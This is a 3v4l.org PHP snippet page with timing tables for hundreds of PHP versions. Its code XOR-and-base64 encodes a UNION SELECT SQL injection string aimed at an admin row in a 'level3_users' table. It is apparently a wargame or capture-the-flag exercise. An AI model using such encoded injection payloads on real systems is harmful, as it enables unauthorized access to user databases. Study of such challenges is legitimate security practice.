3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo(encrypt("qzqsd' union select 1,2,3,4,5,6,7 from level3_users where level3_users.username='Admin' # ")); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0140.00718.30
8.3.50.0090.01221.99
8.3.40.0120.00918.82
8.3.30.0070.00719.18
8.3.20.0000.00720.28
8.3.10.0070.00021.97
8.3.00.0060.00322.29
8.2.180.0100.00716.63
8.2.170.0110.00422.96
8.2.160.0030.01020.35
8.2.150.0080.00024.18
8.2.140.0080.00024.66
8.2.130.0040.00426.16
8.2.120.0080.00019.38
8.2.110.0100.00021.10
8.2.100.0030.00917.84
8.2.90.0000.00819.25
8.2.80.0050.00317.97
8.2.70.0040.00417.63
8.2.60.0000.00818.05
8.2.50.0030.00618.10
8.2.40.0040.00418.22
8.2.30.0040.00418.04
8.2.20.0000.00717.63
8.2.10.0040.00419.54
8.2.00.0040.00417.65
8.1.280.0060.00925.92
8.1.270.0050.00322.19
8.1.260.0050.00326.35
8.1.250.0040.00428.09
8.1.240.0090.00022.20
8.1.230.0080.00417.77
8.1.220.0060.00317.91
8.1.210.0080.00018.77
8.1.200.0030.00717.35
8.1.190.0000.00817.22
8.1.180.0030.00618.10
8.1.170.0050.00318.59
8.1.160.0060.00321.99
8.1.150.0020.00518.56
8.1.140.0000.00817.35
8.1.130.0000.00717.85
8.1.120.0040.00417.33
8.1.110.0020.00517.44
8.1.100.0050.00217.45
8.1.90.0040.00417.43
8.1.80.0040.00417.44
8.1.70.0000.00717.32
8.1.60.0050.00517.51
8.1.50.0000.00717.57
8.1.40.0040.00417.57
8.1.30.0000.00817.71
8.1.20.0000.00917.68
8.1.10.0040.00417.54
8.1.00.0000.00717.47
8.0.300.0040.00418.77
8.0.290.0000.00716.63
8.0.280.0030.00318.48
8.0.270.0000.00717.31
8.0.260.0000.00716.86
8.0.250.0040.00417.00
8.0.240.0060.00316.98
8.0.230.0000.00716.88
8.0.220.0040.00416.81
8.0.210.0040.00416.97
8.0.200.0030.00616.86
8.0.190.0040.00417.03
8.0.180.0000.00716.87
8.0.170.0000.00716.93
8.0.160.0070.00017.02
8.0.150.0040.00416.73
8.0.140.0000.00716.89
8.0.130.0000.00613.37
8.0.120.0040.00416.86
8.0.110.0000.00716.74
8.0.100.0000.00816.90
8.0.90.0050.00216.82
8.0.80.0070.01016.84
8.0.70.0000.00716.86
8.0.60.0030.00516.99
8.0.50.0050.00216.86
8.0.30.0050.01817.23
8.0.20.0090.01017.41
8.0.10.0020.00516.82
8.0.00.0130.00516.81
7.4.330.0050.00015.00
7.4.320.0000.00616.43
7.4.300.0000.00616.68
7.4.290.0040.00416.57
7.4.280.0030.00316.64
7.4.270.0070.00016.47
7.4.260.0060.00316.63
7.4.250.0090.00016.62
7.4.240.0050.00216.54
7.4.230.0030.00316.64
7.4.220.0090.00916.57
7.4.210.0050.00916.59
7.4.200.0040.00416.45
7.4.190.0040.00416.40
7.4.160.0150.00016.33
7.4.150.0080.00817.40
7.4.140.0080.00917.86
7.4.130.0070.01316.69
7.4.120.0060.01116.54
7.4.110.0100.01016.66
7.4.100.0170.00616.34
7.4.90.0140.00516.45
7.4.80.0120.00619.39
7.4.70.0060.01016.67
7.4.60.0090.00916.44
7.4.50.0000.00816.52
7.4.40.0120.00322.77
7.4.30.0130.00316.62
7.4.00.0000.01815.19
7.3.330.0030.00313.41
7.3.320.0050.00013.31
7.3.310.0000.00816.21
7.3.300.0030.00316.41
7.3.290.0100.00616.47
7.3.280.0070.00816.39
7.3.270.0130.00617.40
7.3.260.0120.00616.42
7.3.250.0080.00916.50
7.3.240.0130.00316.77
7.3.230.0100.01116.43
7.3.210.0070.01016.68
7.3.200.0030.02319.39
7.3.190.0070.01716.39
7.3.180.0100.00716.52
7.3.170.0100.01016.27
7.3.160.0070.01016.61
7.3.120.0000.01814.88
7.3.110.0040.00814.80
7.3.100.0060.00614.87
7.3.90.0090.00615.06
7.3.80.0040.00814.84
7.3.70.0030.01214.84
7.3.60.0070.01015.04
7.3.50.0030.01015.02
7.3.40.0060.01014.85
7.3.30.0030.01314.89
7.3.20.0040.01116.85
7.3.10.0090.00916.59
7.3.00.0120.00916.63
7.2.330.0130.00316.78
7.2.320.0060.01316.71
7.2.310.0070.01316.85
7.2.300.0120.01216.71
7.2.290.0100.00616.52
7.2.240.0000.01415.25
7.2.230.0000.01014.96
7.2.220.0030.00815.26
7.2.210.0100.00715.02
7.2.200.0030.01015.12
7.2.190.0030.00614.78
7.2.180.0100.00314.91
7.2.170.0030.00814.89
7.2.160.0040.01115.16
7.2.150.0110.00716.92
7.2.140.0100.00316.74
7.2.130.0040.01516.78
7.2.120.0100.00716.79
7.2.110.0150.00516.77
7.2.100.0120.00516.56
7.2.90.0060.01016.69
7.2.80.0070.00916.73
7.2.70.0090.01016.77
7.2.60.0120.00817.01
7.2.50.0070.00816.64
7.2.40.0160.00616.93
7.2.30.0140.00516.84
7.2.20.0080.00816.78
7.2.10.0110.00816.92
7.2.00.0120.00717.71
7.1.330.0140.00015.61
7.1.320.0000.01115.80
7.1.310.0080.00516.16
7.1.300.0030.01315.63
7.1.290.0000.01715.75
7.1.280.0060.00915.99
7.1.270.0030.01215.67
7.1.260.0110.00415.96
7.1.250.0050.01315.69
7.1.200.0030.00715.91
7.1.100.0130.00618.32
7.1.70.0030.00917.09
7.1.60.0030.02019.82
7.1.50.0040.01116.63
7.1.00.0030.07722.45
7.0.200.0040.00716.80
7.0.140.0130.06321.99
7.0.60.0130.03320.04
7.0.50.0130.07317.97
7.0.40.0000.04720.25
7.0.30.0200.05320.23
7.0.20.0300.07720.34
7.0.10.0000.09020.07
7.0.00.0100.04720.07
5.6.280.0130.06320.79
5.6.210.0200.07020.76
5.6.200.0000.04318.27
5.6.190.0100.08320.40
5.6.180.3430.04720.42
5.6.170.0370.05020.58
5.6.160.0100.04720.54
5.6.150.0000.04318.16
5.6.140.0100.06318.17
5.6.130.0100.07718.28
5.6.120.0070.08721.10
5.6.110.0030.04021.05
5.6.100.0100.05720.98
5.6.90.0130.04720.89
5.6.80.0070.05020.39
5.6.70.0430.03320.39
5.5.350.0170.09020.50
5.5.340.0030.06317.98
5.5.330.0100.05020.42
5.5.320.0430.07020.51
5.5.310.0300.08020.41
5.5.300.0100.05318.01
5.5.290.0000.04717.97
5.5.280.0030.05020.88
5.5.270.0130.05720.80
5.5.260.0200.06720.87
5.5.250.0030.06320.76
5.5.240.0200.06020.08
5.4.450.3270.03319.50
5.4.440.3000.02719.56
5.4.430.3300.03719.55
5.4.420.3100.03319.43
5.4.410.3270.03719.42
5.4.400.3270.04019.17
5.4.390.3330.03719.08
5.4.380.3370.03718.98
5.4.370.2300.03018.87
5.4.360.0070.07018.98
5.4.350.0030.07018.98
5.4.340.0100.05719.20
5.4.320.3600.03718.98
5.4.310.3200.03319.08
5.4.300.3230.03719.02
5.4.290.3400.03319.21
5.4.280.3170.04019.05
5.4.270.3370.04019.34
5.4.260.3600.04018.95
5.4.250.3400.03019.04
5.4.240.3370.03719.04
5.4.230.3300.04019.07
5.4.220.3430.05018.86
5.4.210.2800.04019.19
5.4.200.3100.03719.21
5.4.190.3330.04319.04
5.4.180.3130.03719.19
5.4.170.3100.03319.22
5.4.160.3370.03719.04
5.4.150.3570.04319.29
5.4.140.2600.03716.57
5.4.130.3400.03316.44
5.4.120.3270.03716.50
5.4.110.3330.03316.32
5.4.100.3100.03716.28
5.4.90.3500.04016.40
5.4.80.3270.03016.31
5.4.70.3030.04016.58
5.4.60.3370.03716.25
5.4.50.3400.02716.52
5.4.40.3030.04016.33
5.4.30.3300.03716.42
5.4.20.3370.03716.48
5.4.10.3330.03316.25
5.4.00.3400.03015.96
5.3.290.3430.03314.59
5.3.280.3170.04014.82
5.3.270.3300.03714.68
5.3.260.3070.03714.51
5.3.250.3300.03314.53
5.3.240.3830.04014.60
5.3.230.3670.03714.50
5.3.220.3830.03714.79
5.3.210.3000.04014.80
5.3.200.3430.04314.62
5.3.190.3170.03714.80
5.3.180.3130.03714.54
5.3.170.3530.04014.79
5.3.160.3300.04014.50
5.3.150.3070.03314.79
5.3.140.3500.04314.53
5.3.130.3100.03714.55
5.3.120.3570.03714.66
5.3.110.3200.03314.70
5.3.100.3000.04714.02
5.3.90.3300.03714.03
5.3.80.3100.03014.03
5.3.70.3100.03014.06
5.3.60.3300.04314.02
5.3.50.3270.03714.18
5.3.40.3170.03314.04
5.3.30.3270.03013.84
5.3.20.3000.03713.71
5.3.10.3100.03313.57
5.3.00.3070.03013.87
5.2.170.2770.02711.13
5.2.160.2830.02711.07
5.2.150.2700.02711.24
5.2.140.2770.03011.16
5.2.130.2730.03311.26
5.2.120.2570.03011.04
5.2.110.2600.02711.09
5.2.100.2630.03711.16
5.2.90.2870.03011.03
5.2.80.2830.03011.25
5.2.70.2530.03011.02
5.2.60.2530.03011.03
5.2.50.2770.02710.98
5.2.40.2070.03010.96
5.2.30.2330.02311.03
5.2.20.2230.03010.97
5.2.10.2270.02711.09
5.2.00.2170.03310.96
5.1.60.2270.02710.96
5.1.50.2070.02310.96
5.1.40.2030.02310.96
5.1.30.2300.03310.96
5.1.20.2300.03010.96
5.1.10.2270.02710.96
5.1.00.2270.02310.96
5.0.50.1270.02310.96
5.0.40.1300.02010.96
5.0.30.1000.03310.96
5.0.20.1100.02010.96
5.0.10.1230.02010.96
5.0.00.1170.03010.96
4.4.90.1030.01310.96
4.4.80.1200.01710.96
4.4.70.1270.02010.96
4.4.60.1130.02010.96
4.4.50.1430.01710.96
4.4.40.1230.03310.96
4.4.30.1330.01710.96
4.4.20.1130.01710.96
4.4.10.1070.01010.96
4.4.00.1230.03010.96
4.3.110.1030.01310.96
4.3.100.1030.01310.96
4.3.90.1000.01710.96
4.3.80.1300.02710.96
4.3.70.1000.01710.96
4.3.60.1000.01710.96
4.3.50.1200.02010.96
4.3.40.1030.02310.96
4.3.30.0630.02310.96
4.3.20.0700.02310.96
4.3.10.0570.01310.96
4.3.00.0700.01710.96

preferences:
55.63 ms | 401 KiB | 5 Q